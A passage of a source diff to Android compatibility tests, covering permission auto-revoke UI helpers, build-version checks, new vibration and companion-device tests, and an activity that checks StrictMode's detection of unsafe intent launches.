+        apk: String = supportedApkPath,
+        packageName: String = supportedAppPackageName,
         action: () -> Unit
     ) {
-        installApp(apk)
-        try {
-            // Try to reduce flakiness caused by new package update not propagating in time
-            Thread.sleep(1000)
-            action()
-        } finally {
-            uninstallApp(packageName)
-        }
+        withApp(apk, packageName, action)
     }
 
-    private fun assertPermission(state: Int, packageName: String = APK_PACKAGE_NAME) {
-        runWithShellPermissionIdentity {
-            assertEquals(
-                permissionStateToString(state),
-                permissionStateToString(
-                        context.packageManager.checkPermission(READ_CALENDAR, packageName)))
-        }
+    private fun assertPermission(state: Int, packageName: String = supportedAppPackageName) {
+        assertPermission(packageName, READ_CALENDAR, state)
     }
 
-    private fun goToPermissions(packageName: String = APK_PACKAGE_NAME) {
+    private fun goToPermissions(packageName: String = supportedAppPackageName) {
         context.startActivity(Intent(ACTION_AUTO_REVOKE_PERMISSIONS)
                 .setData(Uri.fromParts("package", packageName, null))
                 .addFlags(FLAG_ACTIVITY_NEW_TASK))
@@ -392,25 +351,18 @@
 
     private fun click(label: String) {
         waitFindNode(hasTextThat(containsStringIgnoringCase(label))).click()
+        waitForIdle()
     }
 
-    private fun assertWhitelistState(state: Boolean) {
+    private fun assertAllowlistState(state: Boolean) {
         assertThat(
-            waitFindObject(By.textStartsWith("Auto-revoke whitelisted: ")).text,
+            waitFindObject(By.textStartsWith("Auto-revoke allowlisted: ")).text,
             containsString(state.toString()))
     }
 
-    private fun getWhitelistToggle(): AccessibilityNodeInfo {
+    private fun getAllowlistToggle(): AccessibilityNodeInfo {
         waitForIdle()
-        return eventually {
-            val ui = instrumentation.uiAutomation.rootInActiveWindow
-            return@eventually ui.lowestCommonAncestor(
-                { node -> node.textAsString == "Remove permissions if app isn’t used" },
-                { node -> node.className == Switch::class.java.name }
-            ).assertNotNull {
-                "No auto-revoke whitelist toggle found in\n${uiDump(ui)}"
-            }.depthFirstSearch { node -> node.className == Switch::class.java.name }!!
-        }
+        return waitFindSwitch("Remove permissions if app isn’t used")
     }
 
     private fun waitForIdle() {
@@ -428,50 +380,80 @@
     }
 
     private fun waitFindObject(selector: BySelector): UiObject2 {
-        try {
-            return UiAutomatorUtils.waitFindObject(selector)
-        } catch (e: RuntimeException) {
-            val ui = instrumentation.uiAutomation.rootInActiveWindow
+        return waitFindObject(instrumentation.uiAutomation, selector)
+    }
+}
 
-            val title = ui.depthFirstSearch { node ->
-                node.viewIdResourceName?.contains("alertTitle") == true
-            }
-            val okButton = ui.depthFirstSearch { node ->
-                node.textAsString?.equals("OK", ignoreCase = true) ?: false
-            }
+private fun permissionStateToString(state: Int): String {
+    return constToString<PackageManager>("PERMISSION_", state)
+}
 
-            if (title?.text?.toString() == "Android System" && okButton != null) {
-                // Auto dismiss occasional system dialogs to prevent interfering with the test
-                android.util.Log.w(LOG_TAG, "Ignoring exception", e)
-                okButton.click()
-                return UiAutomatorUtils.waitFindObject(selector)
-            } else {
-                throw e
+fun waitFindSwitch(label: String): AccessibilityNodeInfo {
+    return getEventually {
+        val ui = UI_ROOT
+        val node = ui.lowestCommonAncestor(
+                { node -> node.textAsString == label },
+                { node -> node.className == Switch::class.java.name })
+        if (node == null) {
+            ui.depthFirstSearch { it.isScrollable }?.performAction(ACTION_SCROLL_FORWARD)
+        }
+        return@getEventually node.assertNotNull {
+            "Switch not found: $label in\n${uiDump(ui)}"
+        }.depthFirstSearch { node -> node.className == Switch::class.java.name }!!
+    }
+}
+
+/**
+ * For some reason waitFindObject sometimes fails to find UI that is present in the view hierarchy
+ */
+fun waitFindNode(
+    matcher: Matcher<AccessibilityNodeInfo>,
+    failMsg: String? = null,
+    timeoutMs: Long = 10_000
+): AccessibilityNodeInfo {
+    return getEventually({
+        val ui = UI_ROOT
+        ui.depthFirstSearch { node ->
+            matcher.matches(node)
+        }.assertNotNull {
+            buildString {
+                if (failMsg != null) {
+                    appendLine(failMsg)
+                }
+                appendLine("No view found matching $matcher:\n\n${uiDump(ui)}")
             }
         }
-    }
+    }, timeoutMs)
+}
 
-    /**
-     * For some reason waitFindObject sometimes fails to find UI that is present in the view hierarchy
-     */
-    private fun waitFindNode(matcher: Matcher<AccessibilityNodeInfo>): AccessibilityNodeInfo {
-        return eventually {
-            val ui = instrumentation.uiAutomation.rootInActiveWindow
-            ui.depthFirstSearch { node ->
-                matcher.matches(node)
-            }.assertNotNull {
-                "No view found matching $matcher:\n\n${uiDump(ui)}"
-            }
+fun byTextIgnoreCase(txt: String): BySelector {
+    return By.text(Pattern.compile(txt, Pattern.CASE_INSENSITIVE))
+}
+
+fun waitForIdle() {
+    InstrumentationRegistry.getInstrumentation().uiAutomation.waitForIdle(1000, 10000)
+}
+
+fun uninstallApp(packageName: String) {
+    assertThat(runShellCommandOrThrow("pm uninstall $packageName"), containsString("Success"))
+}
+
+fun installApk(apk: String) {
+    assertThat(runShellCommandOrThrow("pm install -r $apk"), containsString("Success"))
+}
+
+fun assertPermission(packageName: String, permissionName: String, state: Int) {
+    assertThat(permissionName, containsString("permission."))
+    eventually {
+        runWithShellPermissionIdentity {
+            assertEquals(
+                    permissionStateToString(state),
+                    permissionStateToString(
+                            InstrumentationRegistry.getTargetContext()
+                                    .packageManager
+                                    .checkPermission(permissionName, packageName)))
         }
     }
-
-    private fun byTextIgnoreCase(txt: String): BySelector {
-        return By.text(Pattern.compile(txt, Pattern.CASE_INSENSITIVE))
-    }
-
-    private fun permissionStateToString(state: Int): String {
-        return constToString<PackageManager>("PERMISSION_", state)
-    }
 }
 
 inline fun <reified T> constToString(prefix: String, value: Int): String {
diff --git a/tests/tests/os/src/android/os/cts/BuildTest.java b/tests/tests/os/src/android/os/cts/BuildTest.java
index efe3c12..b089a39 100644
--- a/tests/tests/os/src/android/os/cts/BuildTest.java
+++ b/tests/tests/os/src/android/os/cts/BuildTest.java
@@ -322,13 +322,35 @@
                         + " is invalid; must be at least VERSION_CODES.BASE",
                 Build.VERSION.SDK_INT >= Build.VERSION_CODES.BASE);
         assertTrue(
-                "First SDK version " + Build.VERSION.FIRST_SDK_INT
+                "First SDK version " + Build.VERSION.DEVICE_INITIAL_SDK_INT
                         + " is invalid; must be at least VERSION_CODES.BASE",
-                Build.VERSION.FIRST_SDK_INT >= Build.VERSION_CODES.BASE);
+                Build.VERSION.DEVICE_INITIAL_SDK_INT >= Build.VERSION_CODES.BASE);
         assertTrue(
                 "Current SDK version " + Build.VERSION.SDK_INT
-                        + " must be at least first SDK version " + Build.VERSION.FIRST_SDK_INT,
-                Build.VERSION.SDK_INT >= Build.VERSION.FIRST_SDK_INT);
+                        + " must be at least first SDK version "
+                        + Build.VERSION.DEVICE_INITIAL_SDK_INT,
+                Build.VERSION.SDK_INT >= Build.VERSION.DEVICE_INITIAL_SDK_INT);
+    }
+
+    /**
+     * Verify that MEDIA_PERFORMANCE_CLASS are bounded by both high and low expected values.
+     */
+    public void testMediaPerformanceClass() {
+        // media performance class value of 0 is valid
+        if (Build.VERSION.MEDIA_PERFORMANCE_CLASS == 0) {
+            return;
+        }
+
+        assertTrue(
+                "Media Performance Class " + Build.VERSION.MEDIA_PERFORMANCE_CLASS
+                        + " is invalid; must be at least VERSION_CODES.S",
+                // TODO: flip this once VERSION_CODES.S is finalized
+                Build.VERSION.MEDIA_PERFORMANCE_CLASS > Build.VERSION_CODES.R);
+        assertTrue(
+                "Media Performance Class " + Build.VERSION.MEDIA_PERFORMANCE_CLASS
+                        + " is invalid; must be at most VERSION.SDK_INT",
+                // we use RESOURCES_SDK_INT to account for active development versions
+                Build.VERSION.MEDIA_PERFORMANCE_CLASS <= Build.VERSION.RESOURCES_SDK_INT);
     }
 
     static final String RO_DEBUGGABLE = "ro.debuggable";
diff --git a/tests/tests/os/src/android/os/cts/BundleTest.java b/tests/tests/os/src/android/os/cts/BundleTest.java
index ca70fe3..9eb9ddf 100644
--- a/tests/tests/os/src/android/os/cts/BundleTest.java
+++ b/tests/tests/os/src/android/os/cts/BundleTest.java
@@ -847,10 +847,10 @@
     }
 
     private void assertSpannableEquals(Spannable expected, CharSequence observed) {
-        Spannable s = (Spannable) observed;
+        final Spannable observedSpan = (Spannable) observed;
         assertEquals(expected.toString(), observed.toString());
         Object[] expectedSpans = expected.getSpans(0, expected.length(), Object.class);
-        Object[] observedSpans = expected.getSpans(0, expected.length(), Object.class);
+        Object[] observedSpans = observedSpan.getSpans(0, observedSpan.length(), Object.class);
         assertEquals(expectedSpans.length, observedSpans.length);
         for (int i = 0; i < expectedSpans.length; i++) {
             // Can't compare values of arbitrary objects
diff --git a/tests/tests/os/src/android/os/cts/CombinedVibrationTest.java b/tests/tests/os/src/android/os/cts/CombinedVibrationTest.java
new file mode 100644
index 0000000..8da9be8
--- /dev/null
+++ b/tests/tests/os/src/android/os/cts/CombinedVibrationTest.java
@@ -0,0 +1,293 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.fail;
+
+import android.os.CombinedVibration;
+import android.os.Parcel;
+import android.os.VibrationEffect;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Arrays;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class CombinedVibrationTest {
+
+    private static final VibrationEffect TEST_EFFECT =
+            VibrationEffect.get(VibrationEffect.EFFECT_CLICK);
+
+    private static final CombinedVibration TEST_MONO =
+            CombinedVibration.createParallel(TEST_EFFECT);
+    private static final CombinedVibration TEST_STEREO =
+            CombinedVibration.startParallel()
+                    .addVibrator(1, TEST_EFFECT)
+                    .addVibrator(2, TEST_EFFECT)
+                    .combine();
+    private static final CombinedVibration TEST_SEQUENTIAL =
+            CombinedVibration.startSequential()
+                    .addNext(TEST_MONO)
+                    .addNext(1, TEST_EFFECT, /* delay= */ 100)
+                    .combine();
+
+    @Test
+    public void testcreateParallel() {
+        CombinedVibration.Mono mono =
+                (CombinedVibration.Mono) CombinedVibration.createParallel(TEST_EFFECT);
+        assertEquals(TEST_EFFECT, mono.getEffect());
+        assertEquals(TEST_EFFECT.getDuration(), mono.getDuration());
+    }
+
+    @Test
+    public void testStartParallel() {
+        CombinedVibration.Stereo stereo =
+                (CombinedVibration.Stereo) CombinedVibration.startParallel()
+                        .addVibrator(1, TEST_EFFECT)
+                        .combine();
+        assertEquals(1, stereo.getEffects().size());
+        assertEquals(TEST_EFFECT, stereo.getEffects().get(1));
+        assertEquals(TEST_EFFECT.getDuration(), stereo.getDuration());
+    }
+
+    @Test
+    public void testStartParallelEmptyCombinationIsInvalid() {
+        try {
+            CombinedVibration.startParallel().combine();
+            fail("Illegal combination, should throw IllegalStateException");
+        } catch (IllegalStateException expected) {
+        }
+    }
+
+    @Test
+    public void testParallelEquals() {
+        CombinedVibration otherMono = CombinedVibration.createParallel(
+                VibrationEffect.get(VibrationEffect.EFFECT_CLICK));
+        assertEquals(TEST_MONO, otherMono);
+        assertEquals(TEST_MONO.hashCode(), otherMono.hashCode());
+
+        CombinedVibration otherStereo = CombinedVibration.startParallel()
+                .addVibrator(1, VibrationEffect.get(VibrationEffect.EFFECT_CLICK))
+                .addVibrator(2, VibrationEffect.get(VibrationEffect.EFFECT_CLICK))
+                .combine();
+        assertEquals(TEST_STEREO, otherStereo);
+        assertEquals(TEST_STEREO.hashCode(), otherStereo.hashCode());
+    }
+
+    @Test
+    public void testParallelNotEqualsDifferentEffect() {
+        CombinedVibration otherMono = CombinedVibration.createParallel(
+                VibrationEffect.get(VibrationEffect.EFFECT_TICK));
+        assertNotEquals(TEST_MONO, otherMono);
+    }
+
+    @Test
+    public void testParallelNotEqualsDifferentVibrators() {
+        CombinedVibration otherStereo = CombinedVibration.startParallel()
+                .addVibrator(5, TEST_EFFECT)
+                .combine();
+        assertNotEquals(TEST_STEREO, otherStereo);
+    }
+
+    @Test
+    public void testCreateSequential() {
+        CombinedVibration.Sequential sequential =
+                (CombinedVibration.Sequential) CombinedVibration.startSequential()
+                        .addNext(TEST_MONO)
+                        .addNext(TEST_STEREO, /* delay= */ 100)
+                        .addNext(1, TEST_EFFECT)
+                        .combine();
+        assertEquals(
+                Arrays.asList(TEST_MONO, TEST_STEREO,
+                        CombinedVibration.startParallel().addVibrator(1,
+                                TEST_EFFECT).combine()),
+                sequential.getEffects());
+        assertEquals(-1, sequential.getDuration());
+    }
+
+    @Test
+    public void testStartSequentialEmptyCombinationIsInvalid() {
+        try {
+            CombinedVibration.startSequential().combine();
+            fail("Illegal combination, should throw IllegalStateException");
+        } catch (IllegalStateException expected) {
+        }
+    }
+
+    @Test
+    public void testSequentialEquals() {
+        CombinedVibration otherSequential =
+                CombinedVibration.startSequential()
+                        .addNext(TEST_MONO)
+                        .addNext(1, TEST_EFFECT, /* delay= */ 100)
+                        .combine();
+        assertEquals(TEST_SEQUENTIAL, otherSequential);
+        assertEquals(TEST_SEQUENTIAL.hashCode(), otherSequential.hashCode());
+    }
+
+    @Test
+    public void testSequentialNotEqualsDifferentEffects() {
+        CombinedVibration otherSequential =
+                CombinedVibration.startSequential()
+                        .addNext(TEST_STEREO)
+                        .combine();
+        assertNotEquals(TEST_SEQUENTIAL, otherSequential);
+    }
+
+    @Test
+    public void testSequentialNotEqualsDifferentOrder() {
+        CombinedVibration otherSequential =
+                CombinedVibration.startSequential()
+                        .addNext(1, TEST_EFFECT, /* delay= */ 100)
+                        .addNext(TEST_MONO)
+                        .combine();
+        assertNotEquals(TEST_SEQUENTIAL, otherSequential);
+    }
+
+    @Test
+    public void testSequentialNotEqualsDifferentDelays() {
+        CombinedVibration otherSequential =
+                CombinedVibration.startSequential()
+                        .addNext(TEST_MONO)
+                        .addNext(1, TEST_EFFECT, /* delay= */ 1)
+                        .combine();
+        assertNotEquals(TEST_SEQUENTIAL, otherSequential);
+    }
+
+    @Test
+    public void testSequentialNotEqualsDifferentVibrator() {
+        CombinedVibration otherSequential =
+                CombinedVibration.startSequential()
+                        .addNext(TEST_MONO)
+                        .addNext(5, TEST_EFFECT, /* delay= */ 100)
+                        .combine();
+        assertNotEquals(TEST_SEQUENTIAL, otherSequential);
+    }
+
+    @Test
+    public void testParcelingParallelMono() {
+        Parcel p = Parcel.obtain();
+        TEST_MONO.writeToParcel(p, 0);
+        p.setDataPosition(0);
+        CombinedVibration parceled = CombinedVibration.CREATOR.createFromParcel(p);
+        assertEquals(TEST_MONO, parceled);
+    }
+
+    @Test
+    public void testParcelingParallelStereo() {
+        Parcel p = Parcel.obtain();
+        TEST_STEREO.writeToParcel(p, 0);
+        p.setDataPosition(0);
+        CombinedVibration parceled = CombinedVibration.CREATOR.createFromParcel(p);
+        assertEquals(TEST_STEREO, parceled);
+    }
+
+    @Test
+    public void testParcelingSequential() {
+        Parcel p = Parcel.obtain();
+        TEST_SEQUENTIAL.writeToParcel(p, 0);
+        p.setDataPosition(0);
+        CombinedVibration parceled = CombinedVibration.CREATOR.createFromParcel(p);
+        assertEquals(TEST_SEQUENTIAL, parceled);
+    }
+
+    @Test
+    public void testDescribeContents() {
+        TEST_MONO.describeContents();
+        TEST_STEREO.describeContents();
+        TEST_SEQUENTIAL.describeContents();
+    }
+
+    @Test
+    public void testToString() {
+        TEST_MONO.toString();
+        TEST_STEREO.toString();
+        TEST_SEQUENTIAL.toString();
+    }
+
+    @Test
+    public void testParallelMonoCombinationDuration() {
+        CombinedVibration effect = CombinedVibration.createParallel(
+                VibrationEffect.createOneShot(100, 100));
+        assertEquals(100, effect.getDuration());
+    }
+
+    @Test
+    public void testParallelStereoCombinationDuration() {
+        CombinedVibration effect = CombinedVibration.startParallel()
+                .addVibrator(1, VibrationEffect.createOneShot(1, 100))
+                .addVibrator(2, VibrationEffect.createOneShot(100, 100))
+                .addVibrator(3, VibrationEffect.createOneShot(10, 100))
+                .combine();
+        assertEquals(100, effect.getDuration());
+    }
+
+    @Test
+    public void testParallelCombinationUnknownDuration() {
+        CombinedVibration effect = CombinedVibration.startParallel()
+                .addVibrator(1, VibrationEffect.get(VibrationEffect.EFFECT_CLICK))
+                .addVibrator(2, VibrationEffect.createOneShot(100, 100))
+                .combine();
+        assertEquals(-1, effect.getDuration());
+    }
+
+    @Test
+    public void testParallelCombinationRepeatingDuration() {
+        CombinedVibration effect = CombinedVibration.startParallel()
+                .addVibrator(1, VibrationEffect.createWaveform(new long[]{1}, new int[]{1}, 0))
+                .addVibrator(2, VibrationEffect.get(VibrationEffect.EFFECT_CLICK))
+                .addVibrator(3, VibrationEffect.createOneShot(100, 100))
+                .combine();
+        assertEquals(Long.MAX_VALUE, effect.getDuration());
+    }
+
+    @Test
+    public void testSequentialCombinationDuration() {
+        CombinedVibration effect = CombinedVibration.startSequential()
+                .addNext(1, VibrationEffect.createOneShot(10, 100), /* delay= */ 1)
+                .addNext(1, VibrationEffect.createOneShot(10, 100), /* delay= */ 1)
+                .addNext(1, VibrationEffect.createOneShot(10, 100), /* delay= */ 1)
+                .combine();
+        assertEquals(33, effect.getDuration());
+    }
+
+    @Test
+    public void testSequentialCombinationUnknownDuration() {
+        CombinedVibration effect = CombinedVibration.startSequential()
+                .addNext(1, VibrationEffect.get(VibrationEffect.EFFECT_CLICK))
+                .addNext(1, VibrationEffect.createOneShot(100, 100))
+                .combine();
+        assertEquals(-1, effect.getDuration());
+    }
+
+    @Test
+    public void testSequentialCombinationRepeatingDuration() {
+        CombinedVibration effect = CombinedVibration.startSequential()
+                .addNext(1, VibrationEffect.createWaveform(new long[]{1}, new int[]{1}, 0))
+                .addNext(1, VibrationEffect.get(VibrationEffect.EFFECT_CLICK))
+                .addNext(1, VibrationEffect.createOneShot(100, 100))
+                .combine();
+        assertEquals(Long.MAX_VALUE, effect.getDuration());
+    }
+}
diff --git a/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt b/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
index 773551b..fbdcbc4 100644
--- a/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
+++ b/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
@@ -18,18 +18,47 @@
 
 import android.companion.CompanionDeviceManager
 import android.content.pm.PackageManager.FEATURE_COMPANION_DEVICE_SETUP
+import android.content.pm.PackageManager.PERMISSION_GRANTED
 import android.net.MacAddress
+import android.os.Binder
+import android.os.Bundle
+import android.os.Parcelable
+import android.os.UserHandle
 import android.platform.test.annotations.AppModeFull
 import android.test.InstrumentationTestCase
+import android.util.Size
+import android.util.SizeF
+import android.util.SparseArray
+import android.view.accessibility.AccessibilityNodeInfo
+import android.view.accessibility.AccessibilityNodeInfo.ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE
+import android.view.accessibility.AccessibilityNodeInfo.ACTION_SET_TEXT
+import android.widget.EditText
+import android.widget.TextView
 import androidx.test.InstrumentationRegistry
 import androidx.test.runner.AndroidJUnit4
+import com.android.compatibility.common.util.MatcherUtils
+import com.android.compatibility.common.util.MatcherUtils.hasIdThat
+import com.android.compatibility.common.util.SystemUtil.eventually
+import com.android.compatibility.common.util.SystemUtil.getEventually
 import com.android.compatibility.common.util.SystemUtil.runShellCommand
+import com.android.compatibility.common.util.SystemUtil.runShellCommandOrThrow
 import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity
 import com.android.compatibility.common.util.ThrowingSupplier
+import com.android.compatibility.common.util.UiAutomatorUtils.waitFindObject
+import com.android.compatibility.common.util.children
+import com.android.compatibility.common.util.click
+import org.hamcrest.CoreMatchers.`is`
+import org.hamcrest.CoreMatchers.containsString
+import org.hamcrest.CoreMatchers.equalTo
+import org.hamcrest.Matcher
+import org.hamcrest.Matchers.empty
+import org.hamcrest.Matchers.not
+import org.junit.Assert.assertThat
 import org.junit.Assume.assumeTrue
 import org.junit.Before
 import org.junit.Test
 import org.junit.runner.RunWith
+import java.io.Serializable
 
 const val COMPANION_APPROVE_WIFI_CONNECTIONS =
         "android.permission.COMPANION_APPROVE_WIFI_CONNECTIONS"
@@ -44,7 +73,9 @@
 @RunWith(AndroidJUnit4::class)
 class CompanionDeviceManagerTest : InstrumentationTestCase() {
 
-    val cdm by lazy { context.getSystemService(CompanionDeviceManager::class.java) }
+    val cdm: CompanionDeviceManager by lazy {
+        context.getSystemService(CompanionDeviceManager::class.java)
+    }
 
     private fun isShellAssociated(macAddress: String, packageName: String): Boolean {
         val userId = context.userId
@@ -99,4 +130,115 @@
             COMPANION_APPROVE_WIFI_CONNECTIONS))
         assertFalse(isShellAssociated(DUMMY_MAC_ADDRESS, SHELL_PACKAGE_NAME))
     }
+
+    @AppModeFull(reason = "Companion API for non-instant apps only")
+    @Test
+    fun testDump() {
+        val userId = context.userId
+        val packageName = context.packageName
+
+        try {
+            runShellCommand(
+                    "cmd companiondevice associate $userId $packageName $DUMMY_MAC_ADDRESS")
+            val output = runShellCommand("dumpsys companiondevice")
+            assertThat(output, containsString(packageName))
+            assertThat(output, containsString(DUMMY_MAC_ADDRESS))
+        } finally {
+            runShellCommand(
+                    "cmd companiondevice disassociate $userId $packageName $DUMMY_MAC_ADDRESS")
+        }
+    }
+
+    @AppModeFull(reason = "Companion API for non-instant apps only")
+    @Test
+    fun testProfiles() {
+        val packageName = "android.os.cts.companiontestapp"
+        installApk("/data/local/tmp/cts/os/CtsCompanionTestApp.apk")
+        startApp(packageName)
+
+        waitFindNode(hasClassThat(`is`(equalTo(EditText::class.java.name))))
+                .performAction(ACTION_SET_TEXT,
+                        bundleOf(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE to ""))
+        waitForIdle()
+
+        click("Watch")
+        val device = getEventually({
+            click("Associate")
+            waitFindNode(hasIdThat(containsString("device_list")),
+                    failMsg = "Test requires a discoverable bluetooth device nearby",
+                    timeoutMs = 5_000)
+                    .children
+                    .find { it.className == TextView::class.java.name }
+                    .assertNotNull { "Empty device list" }
+        }, 60_000)
+        device!!.click()
+
+        eventually {
+            assertThat(getAssociatedDevices(packageName), not(empty()))
+        }
+        val deviceAddress = getAssociatedDevices(packageName).last()
+
+        runShellCommandOrThrow("cmd companiondevice simulate_connect $deviceAddress")
+        assertPermission(packageName, "android.permission.CALL_PHONE", PERMISSION_GRANTED)
+
+        runShellCommandOrThrow("cmd companiondevice simulate_disconnect $deviceAddress")
+        assertPermission(packageName, "android.permission.CALL_PHONE", PERMISSION_GRANTED)
+    }
+
+    private fun getAssociatedDevices(
+        pkg: String,
+        user: UserHandle = android.os.Process.myUserHandle()
+    ): List<String> {
+        return runShellCommandOrThrow("cmd companiondevice list ${user.identifier}")
+                .lines()
+                .filter { it.startsWith(pkg) }
+                .map { it.substringAfterLast(" ") }
+    }
 }
+
+private fun click(label: String) {
+    waitFindObject(byTextIgnoreCase(label)).click()
+    waitForIdle()
+}
+
+fun hasClassThat(condition: Matcher<in String?>?): Matcher<AccessibilityNodeInfo> {
+    return MatcherUtils.propertyMatches(
+            "class",
+            { obj: AccessibilityNodeInfo -> obj.className },
+            condition)
+}
+
+fun bundleOf(vararg entries: Pair<String, Any>) = Bundle().apply {
+    entries.forEach { (k, v) -> set(k, v) }
+}
+
+operator fun Bundle.set(key: String, value: Any?) {
+    if (value is Array<*> && value.isArrayOf<Parcelable>()) {
+        putParcelableArray(key, value as Array<Parcelable>)
+        return
+    }
+    if (value is Array<*> && value.isArrayOf<CharSequence>()) {
+        putCharSequenceArray(key, value as Array<CharSequence>)
+        return
+    }
+    when (value) {
+        is Byte -> putByte(key, value)
+        is Char -> putChar(key, value)
+        is Short -> putShort(key, value)
+        is Float -> putFloat(key, value)
+        is CharSequence -> putCharSequence(key, value)
+        is Parcelable -> putParcelable(key, value)
+        is Size -> putSize(key, value)
+        is SizeF -> putSizeF(key, value)
+        is ArrayList<*> -> putParcelableArrayList(key, value as ArrayList<Parcelable>)
+        is SparseArray<*> -> putSparseParcelableArray(key, value as SparseArray<Parcelable>)
+        is Serializable -> putSerializable(key, value)
+        is ByteArray -> putByteArray(key, value)
+        is ShortArray -> putShortArray(key, value)
+        is CharArray -> putCharArray(key, value)
+        is FloatArray -> putFloatArray(key, value)
+        is Bundle -> putBundle(key, value)
+        is Binder -> putBinder(key, value)
+        else -> throw IllegalArgumentException("" + value)
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/os/src/android/os/cts/CrossProcessExceptionService.java b/tests/tests/os/src/android/os/cts/CrossProcessExceptionService.java
index c9ad47f..6d0a68a 100644
--- a/tests/tests/os/src/android/os/cts/CrossProcessExceptionService.java
+++ b/tests/tests/os/src/android/os/cts/CrossProcessExceptionService.java
@@ -70,7 +70,7 @@
                     case "ARE":
                         final PendingIntent pi = PendingIntent.getActivity(
                                 CrossProcessExceptionService.this, 12, new Intent(),
-                                PendingIntent.FLAG_CANCEL_CURRENT);
+                                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
                         throw new AuthenticationRequiredException(new FileNotFoundException("FNFE"), pi);
                     case "RE":
                         throw new RuntimeException("RE");
diff --git a/tests/tests/os/src/android/os/cts/IntentLaunchActivity.java b/tests/tests/os/src/android/os/cts/IntentLaunchActivity.java
new file mode 100644
index 0000000..8679e46
--- /dev/null
+++ b/tests/tests/os/src/android/os/cts/IntentLaunchActivity.java
@@ -0,0 +1,224 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Bundle;
+import android.util.Log;
+
+import java.net.URISyntaxException;
+
+/**
+ * Activity used to verify an UnsafeIntentLaunch StrictMode violation is reported when an Intent
+ * is unparceled from the delivered Intent and used to start another activity.
+ */
+public class IntentLaunchActivity extends Activity {
+    private static final String TAG = "IntentLaunchActivity";
+
+    protected static final String EXTRA_INNER_INTENT = "inner-intent";
+    private static final String EXTRA_INNER_INTENT_URI_STRING = "inner-intent-uri-string";
+
+    private static final String ACTION_UNSAFE_INTENT_LAUNCH = "android.os.cts.UNSAFE_INTENT_LAUNCH";
+    private static final String ACTION_UNSAFE_DATA_COPY_FROM_INTENT =
+            "android.os.cts.UNSAFE_DATA_COPY_FROM_INTENT";
+    private static final String ACTION_DATA_COPY_FROM_DELIVERED_INTENT_WITH_UNPARCELED_EXTRAS =
+            "android.os.cts.DATA_COPY_FROM_DELIVERED_INTENT_WITH_UNPARCELED_EXTRAS";
+    private static final String ACTION_UNSAFE_DATA_COPY_FROM_EXTRAS =
+            "android.os.cts.UNSAFE_DATA_COPY_FROM_EXTRAS";
+    private static final String ACTION_UNSAFE_INTENT_FROM_URI_LAUNCH =
+            "android.os.cts.UNSAFE_INTENT_FROM_URI_LAUNCH";
+    private static final String ACTION_SAFE_INTENT_FROM_URI_LAUNCH =
+            "android.os.cts.SAFE_INTENT_FROM_URI_LAUNCH";
+
+    private static final String ACTION_BROWSABLE_INTENT_LAUNCH =
+            "android.os.cts.BROWSABLE_INTENT_LAUNCH";
+
+    private static final String EXTRA_TEST_KEY = "android.os.cts.TEST_KEY";
+
+    /**
+     * Returns an Intent containing a parceled inner Intent that can be used to start this Activity
+     * and verify the StrictMode UnsafeIntentLaunch violation is reported as expected.
+     */
+    public static Intent getUnsafeIntentLaunchTestIntent(Context context) {
+        return getTestIntent(context, ACTION_UNSAFE_INTENT_LAUNCH);
+    }
+
+    /**
+     * Returns an Intent containing a parceled Intent with data in the extras; the returned Intent
+     * can be used to start this Activity and verify the StrictMode UnsafeIntentLaunch violation
+     * is reported as expected when copying data from an unparceled Intent.
+     */
+    public static Intent getUnsafeDataCopyFromIntentTestIntent(Context context) {
+        return getTestIntentWithExtrasInParceledIntent(context,
+                ACTION_UNSAFE_DATA_COPY_FROM_INTENT);
+    }
+
+    /**
+     * Returns an Intent containing a parceled Intent with data in the extras; the returned Intent
+     * can be used to start this Activity and verify the StrictMode UnsafeIntentLaunch violation is
+     * reported as expected when copying data from an Intent's extras without sanitation /
+     * validation.
+     */
+    public static Intent getUnsafeDataCopyFromExtrasTestIntent(Context context) {
+        return getTestIntentWithExtrasInParceledIntent(context,
+                ACTION_UNSAFE_DATA_COPY_FROM_EXTRAS);
+    }
+
+    /**
+     * Returns an Intent containing data in the extras; the returned Intent can be used to start
+     * this Activity and verify the StrictMode UnsafeIntentLaunch violation is not reported since
+     * the extras of the Intent delivered to a protected component are considered safe.
+     */
+    public static Intent getDataCopyFromDeliveredIntentWithUnparceledExtrasTestIntent(
+            Context context) {
+        // When an Intent is delivered to a protected component this delivered Intent's extras
+        // can be copied unfiltered to another Intent since only a trusted component could send
+        // this Intent. If the sending component were to attempt an unfiltered copy of extras from
+        // an unparceled Intent or Bundle the violation would be triggered by that call.
+        return getTestIntent(context,
